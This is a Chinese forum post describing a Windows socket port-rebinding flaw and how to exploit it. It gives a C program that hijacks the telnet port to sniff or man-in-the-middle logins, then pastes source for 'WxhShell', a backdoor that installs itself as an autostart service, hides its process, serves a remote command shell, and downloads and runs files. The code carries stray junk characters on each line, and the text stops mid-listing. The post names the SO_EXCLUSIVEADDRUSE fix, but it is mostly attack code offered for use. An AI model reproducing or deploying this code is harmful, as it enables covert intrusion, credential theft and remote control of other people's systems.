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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +a^gC  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); gN />y1{a  
d1\nMm}v  
  saddr.sin_family = AF_INET; 8ta @@h  
3: WEODV2  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); OqIXFX"  
G\BZ^SwE  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); u%e~a]  
3.?be.cq  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 dt:$:,"   
a{r"$>0  
  这意味着什么?意味着可以进行如下的攻击: L?ht^ H  
~`QoBZ.O&  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <fG\J  
S}VS@KDO  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 3~tu\TH6d  
i(;`x  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Lu.+J]Rz  
{CI4AT!?W  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  $'3xl2T  
GW;%~qH[,  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 "}qs +  
aH{)|?  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 eIalcBY  
/Yp#`}Ii  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 lP`BKc,  
\alV #>J5  
  #include ]}N01yw|s  
  #include )h]#:,pm  
  #include =?.oH|&\h  
  #include    uStAZ ~b\  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Dho6N]86r  
  int main() ]$Z:^" JS3  
  { s2G9}i{  
  WORD wVersionRequested; N$]er'`  
  DWORD ret; \\<=J[R.M  
  WSADATA wsaData;  &Q~W{.  
  BOOL val; D?1fY!C:r  
  SOCKADDR_IN saddr; ft(o-f7,  
  SOCKADDR_IN scaddr; Xj/z),  
  int err; *"8Ls0!  
  SOCKET s; B+`4UfB]Z}  
  SOCKET sc; )xyjQ|b  
  int caddsize; %r(WS_%K|  
  HANDLE mt; )e?&'wa>  
  DWORD tid;   5\bGCf  
  wVersionRequested = MAKEWORD( 2, 2 ); g) oOravV  
  err = WSAStartup( wVersionRequested, &wsaData ); Mz6(M,hkq  
  if ( err != 0 ) { 6EyPZ{  
  printf("error!WSAStartup failed!\n"); ZK^cG'^2|  
  return -1; &}k7iaO  
  } H/*ol^X7  
  saddr.sin_family = AF_INET; Tl2t\z+ps  
   )/::i O&$:  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 j %gd:-tA  
+,>%Yb =EA  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); F,p0OL.  
  saddr.sin_port = htons(23); lfc&#G i3  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {s0%XG1$  
  { BM,hcT r?  
  printf("error!socket failed!\n"); v{a%TA9-  
  return -1; dz9U.:C  
  } Z{0BH{23  
  val = TRUE; f+ceL'fr  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 8-nf4=ll  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ~%/Rc`  
  { 32\.-v  
  printf("error!setsockopt failed!\n"); `sCaGCp  
  return -1; ,-y9P  
  } XJ4f;U  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; NVv <vu  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 @=VxW U  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 M-"j8:en  
_K~h? \u  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) lWId 0eNS  
  { eA4:]A"  
  ret=GetLastError(); +Ua|0>?  
  printf("error!bind failed!\n"); F$?Ab\#B  
  return -1; ;yt6Yp.6e  
  } ?N<My& E  
  listen(s,2); ;9T}h2^`B  
  while(1) %f1%9YH  
  {  h$l/wn  
  caddsize = sizeof(scaddr); }%jF!d  
  //接受连接请求 R#d~a;j  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Zok{ndO@|f  
  if(sc!=INVALID_SOCKET) /YvXyi>^"%  
  { Z ;.-UXat  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ]5Uuz?:e  
  if(mt==NULL) _AX 9 Mu]  
  { 'V:Q :  
  printf("Thread Creat Failed!\n"); /88s~=  
  break; %PYl  
  } crM5&L9zF  
  } @N>7+ 4  
  CloseHandle(mt); yV{B,T`W  
  } PdcIHN  
  closesocket(s); A#"Wk]jX  
  WSACleanup(); &$~fz":1!  
  return 0; C 5.3[  
  }   LlQsc{ Ddf  
  DWORD WINAPI ClientThread(LPVOID lpParam) 6L<:>55  
  { 3^o(\=-JX  
  SOCKET ss = (SOCKET)lpParam; k6Kc{kY  
  SOCKET sc; fc9;ZX7  
  unsigned char buf[4096]; Ap dXsL  
  SOCKADDR_IN saddr; R{#< NE  
  long num; l$;"yVdks  
  DWORD val; 9*)&hhBs,  
  DWORD ret; ff#7}9_mh  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \Z]+j@9  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   X8|H5Y:  
  saddr.sin_family = AF_INET; ")|/\ w,  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); +94)BxrY  
  saddr.sin_port = htons(23); Pp8S\%z~h  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) cfLLFPhv)  
  { XNYA\%:5S  
  printf("error!socket failed!\n"); ;>J!$B?,  
  return -1; T+0=Ou"N  
  } ob.<j  
  val = 100; Bs~~C8+  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) n1f8jS+'}  
  { ]" 'yf;g  
  ret = GetLastError(); @Po5AK3cy  
  return -1; iE~!?N|a3  
  } g&Vhu8kNIA  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) w+br)  
  { gmL~n7m:K  
  ret = GetLastError(); hw DxGiU  
  return -1; fq7#rZCxX  
  } "Oxr}^% i  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) hLO)-ueb  
  { yE$PLM  
  printf("error!socket connect failed!\n"); R}&?9tVRR  
  closesocket(sc); :;k?/KU7  
  closesocket(ss); PF{uaKWk  
  return -1; 7d:]o>  
  } MpCPY"WLL  
  while(1) oB:7R^a  
  { @Kpm&vd(  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Y6jyU1>  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 #dauXUKH  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 my 'nDi  
  num = recv(ss,buf,4096,0); E2e"A I.h  
  if(num>0) ;2f=d_/x  
  send(sc,buf,num,0); &tyS6S+  
  else if(num==0) .p#kW:zspA  
  break; 7H7 Xbi@  
  num = recv(sc,buf,4096,0); ? x%s j  
  if(num>0)  0,Ds1y^  
  send(ss,buf,num,0); :@L7RZ`_  
  else if(num==0) /JD}b[J$  
  break; xIM,0xM2  
  } EmNVQ1w  
  closesocket(ss); VE\L&d2S  
  closesocket(sc); m eF7[>!U  
  return 0 ; */aY $aWv  
  } .n 9.y8C  
V._-iw]v  
9 [eiN  
========================================================== $@AJg  
yzS]FwW7  
下边附上一个代码,,WXhSHELL *6s_7{;  
{*_Ln  
========================================================== (}A$4?  
,1]UOQ>AP  
#include "stdafx.h" '}OdF*L  
X5)D[aE6  
#include <stdio.h> 529; _|  
#include <string.h> K; #FU  
#include <windows.h> #VQZ"7nI@  
#include <winsock2.h> VfnL-bDGV  
#include <winsvc.h> W|PAI [N  
#include <urlmon.h> j=0kxvp  
l)u%`Hcn  
#pragma comment (lib, "Ws2_32.lib") |IAx!Z-P  
#pragma comment (lib, "urlmon.lib") ?JuJu1  
CsR[@&n'  
#define MAX_USER   100 // 最大客户端连接数 mF6-f#t>H+  
#define BUF_SOCK   200 // sock buffer 6uRE9h|  
#define KEY_BUFF   255 // 输入 buffer xdSMYH{2A  
z g7Q`  
#define REBOOT     0   // 重启 YD4I2'E  
#define SHUTDOWN   1   // 关机 $Itmm/M  
"*lx9bvV_  
#define DEF_PORT   5000 // 监听端口 WB jJ)vCA.  
Kzev] er  
#define REG_LEN     16   // 注册表键长度 ,:S#gN{U  
#define SVC_LEN     80   // NT服务名长度 v^9eTeFO  
7 [Us.V@  
// 从dll定义API 6i/unwe!`)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); t>[QW`EeP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); RXXHg  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dDcQSshL  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &8VH m?h  
~kc#"^s J  
// wxhshell配置信息 Y.m1d?H 1  
struct WSCFG { `_J&*Kk5  
  int ws_port;         // 监听端口 htB2?%S=T  
  char ws_passstr[REG_LEN]; // 口令 {|9knP  
  int ws_autoins;       // 安装标记, 1=yes 0=no A}(xH`A  
  char ws_regname[REG_LEN]; // 注册表键名 @]Q4K%1^"  
  char ws_svcname[REG_LEN]; // 服务名 xU;SRB   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7gX32r$%V  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 l$u52e!7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 '/GB8L  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +w0Wg.4V  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ana[>wSZO@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -@AhJY.  
`^#Rwn#  
}; o[;P@F  
r\m{;Z#LJm  
// default Wxhshell configuration ,2AulX 1  
struct WSCFG wscfg={DEF_PORT, ~ <1s[Hu  
    "xuhuanlingzhe", 'iMzp]V;  
    1, '6D"QDZB  
    "Wxhshell", L=(-BYS  
    "Wxhshell", MR "f)  
            "WxhShell Service", l0&Fm:))k  
    "Wrsky Windows CmdShell Service", u6C_*i{2  
    "Please Input Your Password: ", M^ * ~?9  
  1, TQ\#Z~CbK{  
  "http://www.wrsky.com/wxhshell.exe", imOIO[<;  
  "Wxhshell.exe" /  Xnq0hN  
    }; l>*X+TpA,  
L|[i<s;  
// 消息定义模块 Od.@G~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; k4#j l<R  
char *msg_ws_prompt="\n\r? for help\n\r#>"; yz [pF  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; aG1Fj[,  
char *msg_ws_ext="\n\rExit."; WrP+n  
char *msg_ws_end="\n\rQuit."; qiOtbH=  
char *msg_ws_boot="\n\rReboot..."; Y*xgY*K  
char *msg_ws_poff="\n\rShutdown..."; ,DEq"VW_  
char *msg_ws_down="\n\rSave to "; .BxI~d^  
<.`i,|?MHS  
char *msg_ws_err="\n\rErr!"; 9@1n:X  
char *msg_ws_ok="\n\rOK!"; J_F\cM   
E+y_te^+b  
char ExeFile[MAX_PATH]; p;4FZ$  
int nUser = 0; |X{j^JP 5  
HANDLE handles[MAX_USER]; C.4(8~Y=~  
int OsIsNt; 6$#,$aO  
Kmx4bp4  
SERVICE_STATUS       serviceStatus; 5kqI  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; G5hRx@vfrL  
`K VSYC  
// 函数声明 39^+;Mev  
int Install(void); )EMlGM'2q  
int Uninstall(void); 5 CnNp?.t^  
int DownloadFile(char *sURL, SOCKET wsh); `U0XvWPr[  
int Boot(int flag); /'oo;e  
void HideProc(void); 9ad`q+kY  
int GetOsVer(void); xkf2;  
int Wxhshell(SOCKET wsl); N-N]BS6  
void TalkWithClient(void *cs); p#c41_?'e  
int CmdShell(SOCKET sock); #Q2s3 "X[  
int StartFromService(void); . LAB8bg  
int StartWxhshell(LPSTR lpCmdLine); i:Y5aZc/Ds  
t7-r YY(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~_BjcY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?u CL[  
fFEB#l!oUb  
// 数据结构和表定义 [cDkmRV  
SERVICE_TABLE_ENTRY DispatchTable[] = R?{_Q<17  
{ tF[) Y#  
{wscfg.ws_svcname, NTServiceMain}, m +A4aQ9  
{NULL, NULL} )E9c6'd  
}; O<fy^[r:`  
]9_tto!/  
// 自我安装 1.%|Er 4  
int Install(void) ]U@~vA#''  
{ j hRr!  
  char svExeFile[MAX_PATH]; _G)A$6weU  
  HKEY key; ;Q3[} ]su  
  strcpy(svExeFile,ExeFile); 62;xK-U  
L=54uCv Q  
// 如果是win9x系统,修改注册表设为自启动 u ^#UsOt+  
if(!OsIsNt) { %i7U+v(d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UNSXr`9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C}9GrIi  
  RegCloseKey(key); Z|KDi `S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Lapeh>1T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -[N9"Z,  
  RegCloseKey(key); U8aVI  
  return 0; /IcGJ&;  
    } Q~.t8g/  
  } ~(*tcs]hY  
} x+~!M:fAc9  
else { 8@ f!,!Wn  
\v+>qY<q  
// 如果是NT以上系统,安装为系统服务 T!?tyW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); XR VZU~ZV  
if (schSCManager!=0) ?(zCv9Pg  
{ AP z"k?D0  
  SC_HANDLE schService = CreateService tvn o3"  
  ( 3AENY@*  
  schSCManager, )cL(()N  
  wscfg.ws_svcname, C@;e<  
  wscfg.ws_svcdisp, qu#xc0?  
  SERVICE_ALL_ACCESS, m*1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {a\! 1~  
  SERVICE_AUTO_START, hrJ(][8  
  SERVICE_ERROR_NORMAL, l(x0d  
  svExeFile, Zs|Ga,T  
  NULL, ]Vj($O:  
  NULL, XXm7rn  
  NULL, " ;Cf@}i>  
  NULL, Fa`%MR1  
  NULL Tei2[siA5  
  ); q%M~gp1  
  if (schService!=0) W'Ew!]Q3  
  { ]}Ys4(}  
  CloseServiceHandle(schService); 7V@r^/`8N  
  CloseServiceHandle(schSCManager); &tbAXU5$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6n]jx:CZ,  
  strcat(svExeFile,wscfg.ws_svcname); 3O 4,LXdA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :G98uX t  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Fnk@)1  
  RegCloseKey(key); 3 ;"[WOv  
  return 0; / j "}e_Q  
    } [< g9jX5  
  } feS$)H9-  
  CloseServiceHandle(schSCManager); % u VTf  
} e[Vk+Te7  
} gT+wn-3  
0datzEns`  
return 1; #: [F=2@,A  
} zC:Pg4=w]  
=mX26l`B  
// 自我卸载 o=!_.lDF:  
int Uninstall(void) %hmRh~/&  
{ &=S:I!9;;  
  HKEY key; `, ]ui*  
og8hc~:ro  
if(!OsIsNt) { I*N v|HST  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f tl$P[T  
  RegDeleteValue(key,wscfg.ws_regname); K@:omT  
  RegCloseKey(key); .* `]x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @J>JZ7m]\  
  RegDeleteValue(key,wscfg.ws_regname); SHSfe{n  
  RegCloseKey(key); H}_R`S  
  return 0; [%yj' )R/  
  } teb(gUy}L6  
} 6DU(KYN  
} %=*|: v  
else { ?vbAaRg50s  
)w<Z4_!N4s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9 iJ$M!  
if (schSCManager!=0) Nw9:Gi  
{ UpD4'!<buV  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %t6-wWM97  
  if (schService!=0) "doiD=b  
  { dPpJDY0  
  if(DeleteService(schService)!=0) { [\eVX`it  
  CloseServiceHandle(schService); mA.,.<xE@  
  CloseServiceHandle(schSCManager); 6~jAh@-  
  return 0; 1_!?wMo:f  
  } :_xfi9L~W0  
  CloseServiceHandle(schService); 7f k)a  
  } ~a4Y8r  
  CloseServiceHandle(schSCManager); ex`T 9j.=B  
} ~uq010lMno  
} n8)&1 q?V  
$nW9VMa  
return 1; ?Bq^#i |m  
} >r\GB#\5  
8oI|Z=  
// 从指定url下载文件 /;}%E  
int DownloadFile(char *sURL, SOCKET wsh) J2 )h":2  
{ ?%~^PHgZ|  
  HRESULT hr; L#'XN H"  
char seps[]= "/"; Gt?l 2s  
char *token; 32HF&P+0%  
char *file; .`_iWfK  
char myURL[MAX_PATH]; i5Sya]FN  
char myFILE[MAX_PATH]; Iw.!*0$  
|cnps$fk~  
strcpy(myURL,sURL); 9.xRDk  
  token=strtok(myURL,seps); #C.  
  while(token!=NULL) #Ff8_xhP2  
  { }wp/,\_ >  
    file=token; }ssja,;  
  token=strtok(NULL,seps); }6.@  
  } } LC  
(K8Ob3zN_  
GetCurrentDirectory(MAX_PATH,myFILE); ![Gn0X?]  
strcat(myFILE, "\\"); :Cx|(+T  
strcat(myFILE, file); K^@9\cl^  
  send(wsh,myFILE,strlen(myFILE),0);  yZ[g2*1L  
send(wsh,"...",3,0); +'5I8FE-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Q~0>GOq*  
  if(hr==S_OK) ffR%@  
return 0; Y-y yg4JH  
else 573,b7Yf  
return 1; Bf #cBI  
JttDRNZAU  
} Xj{fM\,"9  
9)W &yi  
// 系统电源模块 x$o^;2Z  
int Boot(int flag) bFajK;  
{ ILAn2W  
  HANDLE hToken; 2IM 31 .  
  TOKEN_PRIVILEGES tkp; YI7M%B9Lj  
Mth:V45G|  
  if(OsIsNt) { ti%RE:*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  6(-s@{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3 1-p/  
    tkp.PrivilegeCount = 1; 9`N5$;NzY  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `vOL3`P  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sfr+W-7kx  
if(flag==REBOOT) { M+VWAh#uD  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [yk-<}#B  
  return 0; M$Z2"F;  
} B1!xr-kC  
else { >O24#!9XW  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0'Ho'wDb  
  return 0; , p~1fB-/  
}  `ROHB@-  
  } 6uo;4}0  
  else { n}A!aC  
if(flag==REBOOT) { =HsE:@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Q*%}w_D6f  
  return 0; kUS]g r~i  
} `q<W %'Tb$  
else { U7 D!w$4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &5R|{',(Y  
  return 0; 'n,V*9  
} ML\>TDt  
} 37jxl+  
{LF4_9 =  
return 1; 77)WNL/ x  
} :[_ms d  
1 rhZlmf[r  
// win9x进程隐藏模块 "t.` /4R2w  
void HideProc(void) q {Z#}|km#  
{ m?<E >-bI  
~o%igJ }.C  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xH*X5?  
  if ( hKernel != NULL ) 6^'BTd  
  { -g2l-N{&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \_8wU' 7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xxu  
    FreeLibrary(hKernel); jO&*E 'pk  
  } 9ET1Er{4  
0(eaVi-%D  
return; vsj4? 0=  
} ^r&)@R$V  
7:<w)Al!  
// 获取操作系统版本 *$vH]>)p  
int GetOsVer(void) *|dr-e_j  
{ }Rw,4  
  OSVERSIONINFO winfo; kzRJzJquP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I8 :e `L  
  GetVersionEx(&winfo); s4"Os gP+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -<6?ISF2  
  return 1; v wEbGx  
  else {jz`K1  
  return 0; bu]"?bc  
} Y!CUUWM  
)|lxzlk  
// 客户端句柄模块 be,Rj,-  
int Wxhshell(SOCKET wsl) "GK9Y  
{ ]h,rgO ;  
  SOCKET wsh; :h{uZ,#Gi  
  struct sockaddr_in client; 2aM7zP[Z  
  DWORD myID; 3O/#^~\'hW  
7pyzPc#_  
  while(nUser<MAX_USER) !=YKfzE  
{ _?I{>:!|  
  int nSize=sizeof(client); uX6yhaOp|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); LTTMa-]Yy  
  if(wsh==INVALID_SOCKET) return 1; fgdR:@]-  
8D*nU3O   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); jb.H[n,\  
if(handles[nUser]==0) W#p7M[  
  closesocket(wsh); -[=eVS.2%  
else CBEf;I g  
  nUser++; :u14_^  
  } #s\@fp7A  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); L"m^LyU  
QJVbt  
  return 0;  }~/b%^  
} %tyo(HZQ  
4#B'pJMw9  
// 关闭 socket }4A] x`3  
void CloseIt(SOCKET wsh) qSc-V`*  
{ vQljxRtW  
closesocket(wsh); 7 $e6H|j@  
nUser--; B{nwQC b  
ExitThread(0); >qmCjY1  
} Qn!mS[l  
l;lrf3  
// 客户端请求句柄 G#n 4g :K  
void TalkWithClient(void *cs) 0X=F(,>9  
{ <&3P\aM>  
t}YcB`q)  
  SOCKET wsh=(SOCKET)cs; ?*fY$93O  
  char pwd[SVC_LEN]; vk92j?  
  char cmd[KEY_BUFF]; b6N[t _,  
char chr[1]; p{g4`o  
int i,j; ??,[-Oi  
}Kp!,  
  while (nUser < MAX_USER) { GJeG7xtJKl  
y|5L%,i  
if(wscfg.ws_passstr) { I=y7$+7%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ><<>4(eF p  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @NLcO}  
  //ZeroMemory(pwd,KEY_BUFF); gM&IV{k3  
      i=0; K~TwyB-h  
  while(i<SVC_LEN) { e&}W#  
IfK~~XYG  
  // 设置超时 =-h^j  
  fd_set FdRead; Y[{:?i~9,  
  struct timeval TimeOut; Ie.*x'b?y  
  FD_ZERO(&FdRead); AW]\n;f  
  FD_SET(wsh,&FdRead); D.K""*ula  
  TimeOut.tv_sec=8; \MP~}t}c  
  TimeOut.tv_usec=0; W [ l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .XJ'2yKof  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); yLnQ9BXB&  
t6DSZ^Zq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +>Wo:kp3  
  pwd=chr[0]; K-0=#6?y4  
  if(chr[0]==0xd || chr[0]==0xa) { Xz_WFLq4  
  pwd=0; P.Z:`P)  
  break; $w0TEO!  
  } $DY#04Je\=  
  i++; Jo5Bmh0  
    } YM}a>o  
F]ao Ty  
  // 如果是非法用户,关闭 socket h?mDtMCw2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S,m(  
} 5\+*ml  
D*M `qPX~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); EoAr}fI  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q{l,4P  
bA^uzE  
while(1) { _~<sb,W  
e"E8BU  
  ZeroMemory(cmd,KEY_BUFF); PCviQ!X  
#e' >9T  
      // 自动支持客户端 telnet标准   m$T5lKn}U?  
  j=0; gHg=G+Q@  
  while(j<KEY_BUFF) {  %?ElC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \|HEe{nA  
  cmd[j]=chr[0]; *~#I5s\s!  
  if(chr[0]==0xa || chr[0]==0xd) { %HUex 6!  
  cmd[j]=0; aAg Qv*  
  break; daE.y_9y  
  } ;b<w'A_1  
  j++; '`>%RZ]  
    } cQ8[XNa  
'C]w3Rh'  
  // 下载文件 8A>OQR  
  if(strstr(cmd,"http://")) { ;wn9 21r  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); h^Wb<O`S  
  if(DownloadFile(cmd,wsh)) D=e*rrL7a  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 19E(Hsz  
  else nLN0zfhE#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y;b#qUd5a  
  } Od!)MQ*,  
  else { GwX)~.i  
Z@bgJL8 3  
    switch(cmd[0]) { -CvmZ:n  
  JRl=j2z  
  // 帮助 H$`U] =s|  
  case '?': { \c_g9Iqa  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qc8Ge\3s  
    break; x3+ -wv  
  } =o#Z?Bn5  
  // 安装 \s=r[0tj!  
  case 'i': { &jDN6n3z  
    if(Install()) zL"e.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <.h7xZ  
    else 'O<b'}-A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q[s,q3n~  
    break; \{h_i FU!  
    } Zbczbnj  
  // 卸载 &g :(I  
  case 'r': { kWr1>})'  
    if(Uninstall()) U0&myj 8L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _Ewh:IM-  
    else %' DO FiU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R"cQyG4  
    break; iOiF kka  
    } 6n9/`D!  
  // 显示 wxhshell 所在路径 kV'zA F v  
  case 'p': { SU0SsgFB  
    char svExeFile[MAX_PATH]; g[} L ?  
    strcpy(svExeFile,"\n\r"); ^/n1h g  
      strcat(svExeFile,ExeFile); -P;3BHS$T  
        send(wsh,svExeFile,strlen(svExeFile),0); }U}zS@kI  
    break; .j4y0dh33  
    } 72nZ`u  
  // 重启 ChiIQWFE  
  case 'b': { <B6md i'R  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); EyK!'9~a  
    if(Boot(REBOOT)) M5I`i{Gw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '\bokwsP  
    else { mERkC,$  
    closesocket(wsh); Cy-p1s  
    ExitThread(0); ZF>:m>  
    } U$y 9f  
    break; G&oD;NY@/  
    } m` 1dB%;?  
  // 关机 z^9oaoTl  
  case 'd': {  [N,+mX  
